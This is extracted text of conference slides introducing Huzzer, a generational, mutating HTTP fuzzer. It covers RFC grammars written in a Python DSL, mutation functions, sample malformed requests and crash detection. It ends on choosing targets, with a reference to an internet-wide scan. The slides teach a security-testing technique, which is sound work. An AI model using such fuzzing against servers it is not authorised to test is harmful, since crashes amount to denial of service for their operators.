Huzzer, the tree-based generational mutating HTTP fuzzer

Matthew Daley
About Me

• Senior Security Consultant at Aura Information Security
About Me

• Senior Security Consultant at Aura Information Security

  Powered by Kordia
About Me

• Senior Security Consultant at Aura Information Security
  
  *Powered by Kordia*

• Weirdo in real life
Introducing Huzzer
Sorry about the title
Huzzer

• “tree-based generational mutating HTTP fuzzer”
Huzzer

• “tree-based generational mutating HTTP fuzzer”
Quickly: What is fuzzing?
Quickly: What is fuzzing?

• “A software technique, often automated or semi-automated, that involves providing invalid, unexpected, or random data to the inputs of a computer program”
Quickly: What is fuzzing?

• “A software technique, often automated or semi-automated, that involves providing invalid, unexpected, or random data to the inputs of a computer program”
• We want the system under test to fail
Quickly: What is fuzzing?

• “A software technique, often automated or semi-automated, that involves providing invalid, unexpected, or random data to the inputs of a computer program”
• We want the system under test to fail
  • Crash
Quickly: What is fuzzing?

• “A software technique, often automated or semi-automated, that involves providing invalid, unexpected, or random data to the inputs of a computer program”

• We want the system under test to fail
  • Crash
  • Stop responding
Quickly: What is fuzzing?

• “A software technique, often automated or semi-automated, that involves providing invalid, unexpected, or random data to the inputs of a computer program”

• We want the system under test to fail
  • Crash
  • Stop responding
  • Do something Exciting
Quickly: What to fuzz?
Quickly: What to fuzz?

• File formats
Quickly: What to fuzz?

• File formats
• Network protocols
Quickly: What to fuzz?

• File formats
• Network protocols
• APIs
Quickly: What to fuzz?

• File formats
• Network protocols
• APIs
• Anywhere where user-controlled data is processed in a privileged context
Quickly: Why fuzz?
Quickly: Why fuzz?

• Effective
Quickly: Why fuzz?

• Effective
  • Easy way to get those CVEs!
Quickly: Why fuzz?

• Effective
  • Easy way to get those CVEs!
  • In a network situation, just a crash alone == Denial of Service == potential security problem
Quickly: Why fuzz?

• Effective
  • Easy way to get those CVEs!
  • In a network situation, just a crash alone == Denial of Service == potential security problem

• Easy
Quickly: Why fuzz?

• Effective
  • Easy way to get those CVEs!
  • In a network situation, just a crash alone == Denial of Service == potential security problem

• Easy
  • There are still lots of things out there that will fall over when tested with dumb fuzzing
Quickly: Why fuzz?

• Effective
  • Easy way to get those CVEs!
  • In a network situation, just a crash alone == Denial of Service == potential security problem

• Easy
  • There are still lots of things out there that will fall over when tested with dumb fuzzing

• Fun
Quickly: Why fuzz?

• Effective
  • Easy way to get those CVEs!
  • In a network situation, just a crash alone == Denial of Service == potential security problem

• Easy
  • There are still lots of things out there that will fall over when tested with dumb fuzzing

• Fun
  • Finally, a use for that now long-dead CPU-based cryptocurrency miner
Quickly: Why fuzz?

• Feel “productive”!
Quickly: Why fuzz?

• Feel “productive”!
  • Compiling
  • Password cracking
  • Nmapping
  • Burp Active Scanning
  • Running Nessus
  • Fuzzing!
Huzzer

• “tree-based generational mutating HTTP fuzzer”
Generating

• Fuzzers can mutate or generate
Generating

• Fuzzers can mutate or generate
  • Mutate: take an existing input and modify it
Generating

• Fuzzers can mutate or generate
  • Mutate: take an existing input and modify it
  • Generate: synthesize messages from scratch
Generating

• Generates HTTP requests (or responses) from scratch.
Generating

• Generates HTTP requests (or responses) from scratch.
• Uses a domain-specific language embedded in Python.
Generating

• Generates HTTP requests (or responses) from scratch.
• Uses a domain-specific language embedded in Python.
• Take an RFC, convert to this language, and you have a Generator.
Generating

```plaintext
transfer-coding = "chunked" / "compress" / "deflate" / "gzip" /
                 transfer-extension

transfer-extension = token *( OWS ";" OWS transfer-parameter )

transfer-parameter = token BWS "=" BWS ( token /
                       quoted-string )
```
Generating

```python
transfer-coding = "chunked" / "compress" / "deflate" / "gzip" /
transfer-extension
```
Generating

```python
transfer_coding = "chunked" / "compress" / "deflate" / "gzip" /
    transfer-extension

transfer_coding = lambda st:
```
Generating

```python
transfer_coding = "chunked" / "compress" / "deflate" / "gzip" / transfer_extension

transfer_coding = lambda st: st.rng.c(['chunked', 'compress', 'deflate', 'gzip', transfer_extension])
```
Generating

\[
\text{transfer-extension} = \text{token} * ( \text{OWS } ";" \text{ OWS transfer-parameter } )
\]
Generating

\[ \text{transfer-extension} = \text{token} * ( \text{OWS ";" OWS transfer-parameter} ) \]

\[ \text{transfer_extension} = \lambda \text{st}: \]
Generating

def transfer_extension = lambda st: [token()]
Generating

```
transfer-extension = token *( OWS ";" OWS transfer-parameter )
```

```
transfer_extension = lambda st: [token(),
    maybe(multiple(?, ?), ?)]
```
Generating

```plaintext
transfer-extension = token *( OWS ";" OWS transfer-parameter )
```

```plaintext
transfer_extension = lambda st: [token(),
    maybe(multiple(?,
        config.max_transfer_params),
        config.transfer_param_chance)]
```
Generating

```
transfer-extension = token * ( OWS ";" OWS transfer-parameter )
```

```
transfer_extension = lambda st: [token(),
    maybe(multiple([ows(), ';', ows(), transfer_parameter],
        config.max_transfer_params),
        config.transfer_param_chance)]
```
Generating

\[
\text{transfer-parameter} = \text{token BWS "=" BWS ( token / quoted-string )}
\]
Generating

```python
transfer-parameter = token BWS "=" BWS ( token / quoted-string )
```

```python
transfer_parameter = lambda st:
```
Generating

\[
\text{transfer-parameter} = \text{token BWS "=" BWS ( token / quoted-string )}
\]

\[
\text{transfer_parameter} = \lambda \text{st: } \{ \text{token()}, \text{bws()}, '=', \text{bws()}, ? \}
\]
Generating

```python
transfer-parameter = token BWS "=" BWS ( token / quoted-string )

transfer_parameter = lambda st: [token(), bws(), '=', bws(),
               st.rng.c([token(), quoted_string()])]
```
Generating

```
transfer-coding = "chunked" / "compress" / "deflate" / "gzip" /
transfer-extension
transfer-extension = token *( OWS ";" OWS transfer-parameter )
transfer-parameter = token BWS "=" BWS ( token /
  quoted-string )

```
Generating

\[
\text{transfer\_coding} = \lambda \text{st}: \text{st.rng.c}([\text{‘chunked’, ‘compress’, ‘deflate’, ‘gzip’, transfer\_extension}])
\]

\[
\text{transfer\_extension} = \lambda \text{st}: [\text{token}(),
\begin{align*}
\text{maybe} & (\text{multiple}([\text{ows}(), ‘;‘, \text{ows}(), \text{transfer\_parameter}] ,
\begin{align*}
\text{config.max\_transfer\_params},
\text{config.transfer\_param\_chance})
\end{align*}
\end{align*}
\]
\]

\[
\text{transfer\_parameter} = \lambda \text{st}: [\text{token}(), \text{bws}(), ‘=‘, \text{bws}(),
\text{st.rng.c}([\text{token}(), \text{quoted\_string}()])]
\]

“Standard library” – Things common throughout HTTP
Generating

- Entire set of HTTP RFCs implemented in this DSL.
Generating

• Entire set of HTTP RFCs implemented in this DSL.
• Refers to a lot of RFCs...
Generating

- Entire set of HTTP RFCs implemented in this DSL.
- Refers to a lot of RFCs...
<table>
<thead>
<tr>
<th>Headers</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accept</td>
</tr>
<tr>
<td>Accept-Charset</td>
</tr>
<tr>
<td>Accept-Datetime</td>
</tr>
<tr>
<td>Accept-Encoding</td>
</tr>
<tr>
<td>Accept-Features</td>
</tr>
<tr>
<td>Accept-Language</td>
</tr>
<tr>
<td>Access-Control-Request-Headers</td>
</tr>
<tr>
<td>Access-Control-Request-Method</td>
</tr>
<tr>
<td>Authorization</td>
</tr>
<tr>
<td>Cache-Control</td>
</tr>
<tr>
<td>Client-ip</td>
</tr>
<tr>
<td>Connection</td>
</tr>
<tr>
<td>Content-Encoding</td>
</tr>
<tr>
<td>Content-Language</td>
</tr>
<tr>
<td>Content-Length</td>
</tr>
<tr>
<td>Content-Location</td>
</tr>
<tr>
<td>Content-MD5</td>
</tr>
<tr>
<td>Content-Type</td>
</tr>
<tr>
<td>Content-Version</td>
</tr>
<tr>
<td>Cookie</td>
</tr>
<tr>
<td>Cookie2</td>
</tr>
<tr>
<td>Date</td>
</tr>
<tr>
<td>Derived-From</td>
</tr>
<tr>
<td>Digest</td>
</tr>
<tr>
<td>DNT</td>
</tr>
<tr>
<td>Expect</td>
</tr>
<tr>
<td>Forwarded</td>
</tr>
<tr>
<td>From</td>
</tr>
<tr>
<td>Host</td>
</tr>
<tr>
<td>If-Match</td>
</tr>
<tr>
<td>If-Modified-Since</td>
</tr>
<tr>
<td>If-None-Match</td>
</tr>
<tr>
<td>If-Range</td>
</tr>
<tr>
<td>If-Unmodified-Since</td>
</tr>
<tr>
<td>Last-Event-ID</td>
</tr>
<tr>
<td>Keep-Alive</td>
</tr>
<tr>
<td>Max-Forwards</td>
</tr>
<tr>
<td>MIME-Version</td>
</tr>
<tr>
<td>Negotiate</td>
</tr>
<tr>
<td>Origin</td>
</tr>
<tr>
<td>Pragma</td>
</tr>
<tr>
<td>Prefer</td>
</tr>
<tr>
<td>Proxy-Authorization</td>
</tr>
<tr>
<td>Proxy-Connection</td>
</tr>
<tr>
<td>Range</td>
</tr>
<tr>
<td>Request-Range</td>
</tr>
<tr>
<td>Referer</td>
</tr>
<tr>
<td>Sec-Websocket-Extensions</td>
</tr>
<tr>
<td>Sec-Websocket-Key</td>
</tr>
<tr>
<td>Sec-Websocket-Protocol-Client</td>
</tr>
<tr>
<td>Sec-Websocket-Version-Client</td>
</tr>
<tr>
<td>SLUG</td>
</tr>
<tr>
<td>TE</td>
</tr>
<tr>
<td>Transfer-Encoding</td>
</tr>
<tr>
<td>Trailer</td>
</tr>
<tr>
<td>Upgrade</td>
</tr>
<tr>
<td>URI</td>
</tr>
<tr>
<td>User-Agent</td>
</tr>
<tr>
<td>Via</td>
</tr>
<tr>
<td>Want-Digest</td>
</tr>
<tr>
<td>Warning</td>
</tr>
<tr>
<td>X-Filter</td>
</tr>
<tr>
<td>X-Forwarded-By</td>
</tr>
<tr>
<td>X-Forwarded-For</td>
</tr>
<tr>
<td>X-Forwarded-Host</td>
</tr>
<tr>
<td>X-Forwarded-Port</td>
</tr>
<tr>
<td>X-Forwarded-Proto</td>
</tr>
<tr>
<td>X-Http-Method-Override</td>
</tr>
<tr>
<td>X-ID</td>
</tr>
<tr>
<td>X-Real-IP</td>
</tr>
<tr>
<td>X-Requested-With</td>
</tr>
</tbody>
</table>
Huzzer

• “tree-based generational mutating HTTP fuzzer”
Mutating

• Does all your usual fuzzing tricks on message elements
Mutating

• Replace integer with “interesting” random choice:
  • \(-1, 0, 1\)
  • \(2^8 - 1, 2_8, 2^8 + 1\)
  • \(2^{32} - 1, 2^{32}, 2^{32} + 1\)
  • etc...

• \textbf{Range: bytes=-784,-943,-328} 
  \(\rightarrow\)
  \textbf{Range: bytes=-784,-4294967295,-328}

• \textbf{GET / HTTP/1.0} 
  \(\rightarrow\)
  \textbf{GET / HTTP/65535.0}
Mutating

• Drop a random character

  • Date: Thursday, 29-May-09 17:27:03 GMT
    ->
  Date: Thursday, 29-May-09 1727:03 GMT
Mutating

• Insert a random character

• Accept-Charset: *; q=0.285
  ->
  Accept-Charset: *; , q=0.285
Mutating

• Offset a random character by a random amount between -4 and 4

• GET /S%0FRuoU0EiEAL%73j8MJ/%73'RuROi%B2 HTTP/1.1
  ->
  GHT /S%0FRuoU0EiEAL%73j8MJ/%73'RuROi%B2 HTTP/1.1
Mutating

• Move a random character around

  • Transfer-Encoding: chunked, mbv-nf="y\]@\45\x\pN"

  ->
  Transfer-Encoding: chunked, mbv-nf="y\]@45\x\pN\"
Mutating

• Repeat

  • Cache-Control: max-stale=2051700323
    ->
    Cache-Control: max-stale=2051700323
Huzzer

• “tree-based generational mutating HTTP fuzzer”
Tree-based

• The message comes from Generators in a tree structure
Tree-based

• The message comes from Generators in a tree structure
• List of lists
Tree-based

- The message comes from Generators in a tree structure
- List of lists
- List elements are atomic values (strings, integers, etc.) or more lists
Tree-based

• The message comes from Generators in a tree structure
• List of lists
• List elements are atomic values (strings, integers, etc.) or more lists
• The tree is generated by calling the root Generator, and in turn calling the Generators in the tree it returns, and so on...
Tree-based
Tree-based
Tree-based

```
[
    ['POST', ],
    ['/vIrW5HfGyK91MPp7r'],
    ['/7Ezf2'],
    ['/DrB~qH7G'],
    ['Accept-Datetime': Sunday],
    ['Accept-Datetime': Sunday],
    ['Host': u'.V.H37o-sGe0FY'],
    ['X-Forwarded-For': 'X-Requeste
```
Tree-based

• POST
  
  • virWU5HfGyK9iMPp7r]
  
  • 'POST'

• HTTP
  
  • Host
    
    • X-Forwarded-For
      
      • [u':', 'V':',',',',',',',H37o-sGe0FY']

• Accept-Datetime
  
  • [p'4bNGsgk6'
    
    • 'Sunday'

• Content-Length
  
  • ['X-Forwarded-For', ':', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ..., 'X-Forwarded-For', ':', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ..., 'X-Forwarded-For', ':', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', ',', '}
Tree-based

```json
{
  "POST"
  "virWU5HfGyK91MPp7r"
  "7Ezf2"
  "DrbB~qH7G"

  "Accept-Datetime": "Sunday", "Jun", 73

  "X-Forwarded-For": "X-Requested-With", "jelu932HWGt6ATrssgNoZv9r0z11B1XKYFFreKE1_SWJaBb0de";

  "Prefer": "p'4bNGsgk6"
}
```

Tree-based

- There are also mutations that are tree-aware
Tree-based

- Move

GET / HTTP/1.0
-> HTTP/1.0 GET /

```
```

```
```
Tree-based

• Remove

Host: localhost

Host:
Tree-based

- Swap

Content-Length: 413

413: Content-Length
Tree-based

• Duplicate
Tree-based

- Shuffle
Mutating

- `insert_interesting_gen_munger`
- `replace_with_interesting_gen_munger`
- `insert_utf8_munger`
- `flip_bits_munger`
- `replace_with_random_number_munger`
- `replace_with_interesting_number_munger`
- `negate_number_munger`
- `zero_prefix_number_munger`
- `number_to_str_munger`
- `replicate_munger`
- `crop_to_subsequence_munger`
- `remove_subsequence_munger`
- `shuffle_subsequence_munger`
- `overlong_utf8_char_munger`
- `offset_char_munger_fn`
- `flip_case_char_munger`
def move_subsequence_munger_fn(element, st, cfg):
    s, e = st.rng.subsequence_indices(len(element), False, False)
    es = element[s:e]
    element = element[:s] + element[e:]
    p = (s + st.rng.i(len(element))) % (len(element) + 1)
    return element[:p] + es + element[p:]

move_subsequence_munger = Munger(
    move_subsequence_munger_fn, [ElementForm(collections.Sequence, 2)])
Generating + Mutating

devhelpers/gen -n 30000 -m '[]Have", " ", "a", " ", ["really", " ", "cool"], " ", "number", ":", " ", 123]' | sort | uniq -c | sort -nr
Generating + Mutating

Have a really cool number: 123
Have a really cool number: 123
Le a really cool number: 123
Have e really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123

Have a really cool number: 427358326507632624
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 123

Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123

Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 4095
Have a really cool number: 123

Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123
Have a really cool number: 123

Huzzer

• “tree-based generational mutating HTTP fuzzer”
Generating + Mutating

GET /3/bu%ECDO6HtcV%8cu9d HTTP/1.1
Host: localhost
TE: trailers
Accept-Encoding: *, gzip, identity, gzip
Generating + Mutating

POST http://127.0.0.1/KPM.55/WHxGu HTTP/1.0
Range: 90eEmfk^=Ksf2@
Max-Forwards: 492
Cookie: KMxx=4'ZESr&CTBy$eOkd;

Jk6>G]0>27r6I.cfA5wyZAZtQ[g[;b*I7+=>`T.CUlMzgU7j'GHP:<.G}]
dV~xaIuqxS; th-Kv=>4K@0LQ[i
Content-Length: 167
If-Unmodified-Since: Tue, 18 Oct 1960 01:04:23 GMT
If-None-Match: "qC>R","",W/"u2k", W/"4OF1ö5-", W/" (0 TP"

vvvjkt9032j2450
Generating + Mutating

HEAD /dmaNWZQ1%40=VlWwI6g%47GYVYY/RIALwe_%46/LyVE%7ba3
sh4U3Xg6%30MXEG=XT2/3VqSK/VzGREH7P
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
Responses

- Doesn’t really care about responses
  - Reads first ~64 bytes of response
  - Logs result in a histogram
Responses

• Doesn’t really care about responses
  • Reads first ~64 bytes of response
  • Logs result in a histogram

• Detect hangs
Responses

• Doesn’t really care about responses
  • Reads first \~ 64 bytes of response
  • Logs result in a histogram

• Detect hangs

• Detect “weird” characters in response
Responses

• Doesn’t really care about responses
  • Reads first ~64 bytes of response
  • Logs result in a histogram

• Detect hangs

• Detect “weird” characters in response
  • Regex detects things that look like they might be a memory leak.
All together now

• Big Loop:
  • Generate message
  • Mutate it
  • Send to server under test
  • Read a bit of the result
  • Log the result in histogram
  • Loop!
Why not AFL?
Why not AFL?

- Not everything can be instrumented easily
Why not AFL?

• Not everything can be instrumented easily
  • Proprietary servers in embedded hardware
Why not AFL?

- Not everything can be instrumented easily
  - Proprietary servers in embedded hardware
- At its heart, AFL is a binary fuzzer.
Why not AFL?

• Not everything can be instrumented easily
  • Proprietary servers in embedded hardware
• At its heart, AFL is a binary fuzzer.
  • Can still handle text-based protocols like HTTP with use of dictionaries of protocol tokens ("GET", "Content-Length", "no-cache", etc.)
Why not AFL?

• Not everything can be instrumented easily
  • Proprietary servers in embedded hardware
• At its heart, AFL is a binary fuzzer.
  • Can still handle text-based protocols like HTTP with use of dictionaries of protocol tokens ("GET", "Content-Length", "no-cache", etc.)
• Because I’m jealous.
Process
Step #1: Pick a target
Step #1: Pick a target
Step #1: Pick a target
Step #1: Pick a target

• Internet Census 2012 - http://census2012.sourceforge.net/
